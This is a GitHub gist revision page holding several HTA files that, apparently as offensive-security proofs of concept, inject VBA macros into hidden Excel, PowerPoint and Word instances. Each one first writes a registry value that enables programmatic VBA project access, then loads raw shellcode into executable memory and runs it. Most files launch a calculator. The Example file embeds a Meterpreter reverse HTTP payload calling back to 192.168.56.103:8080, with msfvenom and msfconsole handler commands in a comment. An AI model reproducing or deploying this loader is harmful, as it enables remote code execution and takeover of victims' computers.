Skip to content

Instantly share code, notes, and snippets.

@alibay7

alibay7/CalcExcel.hta

Forked from trietptm/CalcExcel.hta
Created March 28, 2018 20:32
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save alibay7/f09a76f0461298161e453853814d4a6d to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save alibay7/f09a76f0461298161e453853814d4a6d to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @secdev02 secdev02 revised this gist Feb 15, 2016. 3 changed files with 0 additions and 0 deletions.
    0 Excel.hta → CalcExcel.hta
    View file
    File renamed without changes.
    0 PPT.hta → CalcPPT.hta
    View file
    File renamed without changes.
    0 Example.hta → Reve_HTTP_Excel.hta
    View file
    File renamed without changes.
  2. @secdev02 secdev02 revised this gist Feb 15, 2016. 2 changed files with 112 additions and 0 deletions.
    56 changes: 56 additions & 0 deletions Excel.hta
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,56 @@
    <html>
    <head>
    <script>
    var objExcel = new ActiveXObject("Excel.Application");
    objExcel.Visible = false;
    var WshShell = new ActiveXObject("WScript.Shell");
    var Application_Version = objExcel.Version;//Auto-Detect Version
    var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
    WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
    var objWorkbook = objExcel.Workbooks.Add();
    var xlmodule = objWorkbook.VBProject.VBComponents.Add(1);
    strCode = '#If Vba7 Then\n'
    strCode += 'Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr\n'
    strCode += 'Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr\n'
    strCode += 'Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr\n'
    strCode += '#Else\n'
    strCode += 'Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long\n'
    strCode += 'Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long\n'
    strCode += 'Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long\n'
    strCode += '#EndIf\n'
    strCode += '\n'
    strCode += 'Sub ExecShell()\n'
    strCode += ' Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long\n'
    strCode += '#If Vba7 Then\n'
    strCode += ' Dim Xlbufvetp As LongPtr\n'
    strCode += '#Else\n'
    strCode += ' Dim Xlbufvetp As Long\n'
    strCode += '#EndIf\n'
    strCode += ' Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _\n'
    strCode += '139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _\n'
    strCode += '13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _\n'
    strCode += '116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _\n'
    strCode += '214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _\n'
    strCode += '36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _\n'
    strCode += '139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _\n'
    strCode += '235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _\n'
    strCode += '224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _\n'
    strCode += '187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)\n'
    strCode += ' Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)\n'
    strCode += ' For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)\n'
    strCode += ' Wyzayxya = Hyeyhafxp(Zolde)\n'
    strCode += ' Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)\n'
    strCode += ' Next Zolde\n'
    strCode += ' Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)\n'
    strCode += 'End Sub\n'
    xlmodule.CodeModule.AddFromString(strCode);
    objExcel.Run("ExecShell");
    objExcel.DisplayAlerts = false;
    objWorkbook.Close(false);
    close();
    </script>
    </head>
    <body>
    Thank you. You may close this window.
    </body>
    </html>
    56 changes: 56 additions & 0 deletions PPT.hta
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,56 @@
    <html>
    <head>
    <script>
    var objPPT = new ActiveXObject("PowerPoint.Application");
    objPPT.Visible = true;
    var WshShell = new ActiveXObject("WScript.Shell");
    var Application_Version = objPPT.Version;//Auto-Detect Version
    var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\PowerPoint\\Security\\AccessVBOM";
    WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
    var objPreso = objPPT.Presentations.Add();
    var pptmodule = objPreso.VBProject.VBComponents.Add(1);
    strCode = '#If Vba7 Then\n'
    strCode += 'Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr\n'
    strCode += 'Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr\n'
    strCode += 'Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr\n'
    strCode += '#Else\n'
    strCode += 'Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long\n'
    strCode += 'Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long\n'
    strCode += 'Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long\n'
    strCode += '#EndIf\n'
    strCode += '\n'
    strCode += 'Public Sub ExecShell()\n'
    strCode += ' Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long\n'
    strCode += '#If Vba7 Then\n'
    strCode += ' Dim Xlbufvetp As LongPtr\n'
    strCode += '#Else\n'
    strCode += ' Dim Xlbufvetp As Long\n'
    strCode += '#EndIf\n'
    strCode += ' Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _\n'
    strCode += '139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _\n'
    strCode += '13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _\n'
    strCode += '116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _\n'
    strCode += '214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _\n'
    strCode += '36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _\n'
    strCode += '139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _\n'
    strCode += '235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _\n'
    strCode += '224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _\n'
    strCode += '187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)\n'
    strCode += ' Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)\n'
    strCode += ' For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)\n'
    strCode += ' Wyzayxya = Hyeyhafxp(Zolde)\n'
    strCode += ' Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)\n'
    strCode += ' Next Zolde\n'
    strCode += ' Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)\n'
    strCode += 'End Sub\n'
    pptmodule.CodeModule.AddFromString(strCode);
    objPPT.Run("ExecShell");
    objPPT.DisplayAlerts = false;
    objPPT.Quit();
    close();
    </script>
    </head>
    <body>
    Thank you. You may close this window.
    </body>
    </html>
  3. @secdev02 secdev02 revised this gist Feb 15, 2016. 1 changed file with 56 additions and 0 deletions.
    56 changes: 56 additions & 0 deletions CalcWord.hta
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,56 @@
    <html>
    <head>
    <script>
    var objWord = new ActiveXObject("Word.Application");
    objWord.Visible = false;
    var WshShell = new ActiveXObject("WScript.Shell");
    var Application_Version = objWord.Version;//Auto-Detect Version
    var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Word\\Security\\AccessVBOM";
    WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
    var objDoc = objWord.Documents.Add();
    var wdmodule = objDoc.VBProject.VBComponents.Add(1);
    strCode = '#If Vba7 Then\n'
    strCode += 'Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr\n'
    strCode += 'Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr\n'
    strCode += 'Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr\n'
    strCode += '#Else\n'
    strCode += 'Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long\n'
    strCode += 'Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long\n'
    strCode += 'Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long\n'
    strCode += '#EndIf\n'
    strCode += '\n'
    strCode += 'Sub ExecShell()\n'
    strCode += ' Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long\n'
    strCode += '#If Vba7 Then\n'
    strCode += ' Dim Xlbufvetp As LongPtr\n'
    strCode += '#Else\n'
    strCode += ' Dim Xlbufvetp As Long\n'
    strCode += '#EndIf\n'
    strCode += ' Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _\n'
    strCode += '139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _\n'
    strCode += '13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _\n'
    strCode += '116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _\n'
    strCode += '214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _\n'
    strCode += '36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _\n'
    strCode += '139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _\n'
    strCode += '235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _\n'
    strCode += '224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _\n'
    strCode += '187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)\n'
    strCode += ' Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)\n'
    strCode += ' For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)\n'
    strCode += ' Wyzayxya = Hyeyhafxp(Zolde)\n'
    strCode += ' Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)\n'
    strCode += ' Next Zolde\n'
    strCode += ' Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)\n'
    strCode += 'End Sub\n'
    wdmodule.CodeModule.AddFromString(strCode);
    objWord.Run("ExecShell");
    objWord.DisplayAlerts = false;
    objDoc.Close(false);
    //close();
    </script>
    </head>
    <body>
    Thank you. You may close this window.
    </body>
    </html>
  4. @secdev02 secdev02 created this gist Feb 15, 2016.
    81 changes: 81 additions & 0 deletions Example.hta
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,81 @@
    <html>
    <!--
    Example By Casey Smith @subTee
    Generate Shellcode:
    msfvenom --payload windows/meterpreter/reverse_http LHOST=192.168.56.103 LPORT=8080 --format vba > msf.vba
    Wrap Shellcode in HTA
    Deliver
    Start Msf
    msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_http;set LPORT 8080;set LHOST 192.168.56.103;set ExitOnSession false; exploit -j"
    Wait for Shells to Rain
    -->
    <head>
    <script>
    var objExcel = new ActiveXObject("Excel.Application");
    objExcel.Visible = false;
    var WshShell = new ActiveXObject("WScript.Shell");
    var Application_Version = objExcel.Version;//Auto-Detect Version
    var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
    WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
    var objWorkbook = objExcel.Workbooks.Add();
    var xlmodule = objWorkbook.VBProject.VBComponents.Add(1);
    var strCode = '#If Vba7 Then\n'
    strCode += ' Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Wqul As Long, ByVal Ptffs As Long, ByVal Dicgmq As LongPtr, Jvjy As Long, ByVal Tliank As Long, Qhzroqi As Long) As LongPtr\n'
    strCode += ' Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Gsu As Long, ByVal Mogxoelnw As Long, ByVal Cepms As Long, ByVal Ogsetm As Long) As LongPtr\n'
    strCode += ' Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Xqtcnmvvo As LongPtr, ByRef Tvrhhgq As Any, ByVal Leqnxbjew As Long) As LongPtr\n'
    strCode += '#Else\n'
    strCode += ' Private Declare Function CreateThread Lib "kernel32" (ByVal Wqul As Long, ByVal Ptffs As Long, ByVal Dicgmq As Long, Jvjy As Long, ByVal Tliank As Long, Qhzroqi As Long) As Long\n'
    strCode += ' Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Gsu As Long, ByVal Mogxoelnw As Long, ByVal Cepms As Long, ByVal Ogsetm As Long) As Long\n'
    strCode += ' Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Xqtcnmvvo As Long, ByRef Tvrhhgq As Any, ByVal Leqnxbjew As Long) As Long\n'
    strCode += '#EndIf\n'
    strCode += '\n'
    strCode += 'Sub ExecShell()\n'
    strCode += ' Dim Blewjd As Long, Cilsmgwg As Variant, Kqyqs As Long\n'
    strCode += '#If Vba7 Then\n'
    strCode += ' Dim Tttw As LongPtr, Vivgk As LongPtr\n'
    strCode += '#Else\n'
    strCode += ' Dim Tttw As Long, Vivgk As Long\n'
    strCode += '#EndIf\n'
    strCode += ' Cilsmgwg = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1, _\n'
    strCode += '199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193, _\n'
    strCode += '207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36, _\n'
    strCode += '91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,104,110,101,116, _\n'
    strCode += '0,104,119,105,110,105,84,104,76,119,38,7,255,213,49,219,83,83,83,83, _\n'
    strCode += '83,104,58,86,121,167,255,213,83,83,106,3,83,83,104,144,31,0,0,232, _\n'
    strCode += '29,1,0,0,47,74,67,57,118,109,110,115,117,109,111,99,71,107,81,101, _\n'
    strCode += '81,85,70,65,51,68,119,74,120,106,71,112,118,51,106,89,50,107,88,57, _\n'
    strCode += '121,98,65,103,77,103,69,65,116,117,81,120,49,79,86,111,97,88,105,80, _\n'
    strCode += '102,83,51,69,67,54,79,114,72,71,112,100,79,76,77,108,87,103,101,111, _\n'
    strCode += '89,101,109,80,82,50,85,110,57,109,55,119,74,112,107,98,66,57,105,55, _\n'
    strCode += '77,95,95,120,111,57,53,99,114,101,66,79,57,68,98,117,87,110,121,70, _\n'
    strCode += '114,75,119,84,118,55,80,69,108,76,114,56,76,101,83,117,82,50,50,116, _\n'
    strCode += '70,108,102,85,119,110,120,55,74,107,65,114,112,50,75,122,56,83,84,70, _\n'
    strCode += '87,75,78,102,52,105,111,74,45,73,89,102,102,114,113,98,57,0,80,104, _\n'
    strCode += '87,137,159,198,255,213,137,198,83,104,0,2,96,132,83,83,83,87,83,86, _\n'
    strCode += '104,235,85,46,59,255,213,150,106,10,95,83,83,83,83,86,104,45,6,24, _\n'
    strCode += '123,255,213,133,192,117,8,79,117,237,232,75,0,0,0,106,64,104,0,16, _\n'
    strCode += '0,0,104,0,0,64,0,83,104,88,164,83,229,255,213,147,83,83,137,231, _\n'
    strCode += '87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,207,139, _\n'
    strCode += '7,1,195,133,192,117,229,88,195,95,232,139,255,255,255,49,57,50,46,49, _\n'
    strCode += '54,56,46,53,54,46,49,48,51,0,187,240,181,162,86,106,0,83,255,213 _\n'
    strCode += ')\n'
    strCode += '\n'
    strCode += ' Tttw = VirtualAlloc(0, UBound(Cilsmgwg), &H1000, &H40)\n'
    strCode += ' For Kqyqs = LBound(Cilsmgwg) To UBound(Cilsmgwg)\n'
    strCode += ' Blewjd = Cilsmgwg(Kqyqs)\n'
    strCode += ' Vivgk = RtlMoveMemory(Tttw + Kqyqs, Blewjd, 1)\n'
    strCode += ' Next Kqyqs\n'
    strCode += ' Vivgk = CreateThread(0, 0, Tttw, 0, 0, 0)\n'
    strCode += 'End Sub\n'
    xlmodule.CodeModule.AddFromString(strCode);
    objExcel.Run("ExecShell");
    objExcel.DisplayAlerts = false;
    //objWorkbook.Close(false);
    //close(); //Auto Close HTA
    </script>
    </head>
    <body>
    Thanks! You May Now Close This.
    </body>
    </html>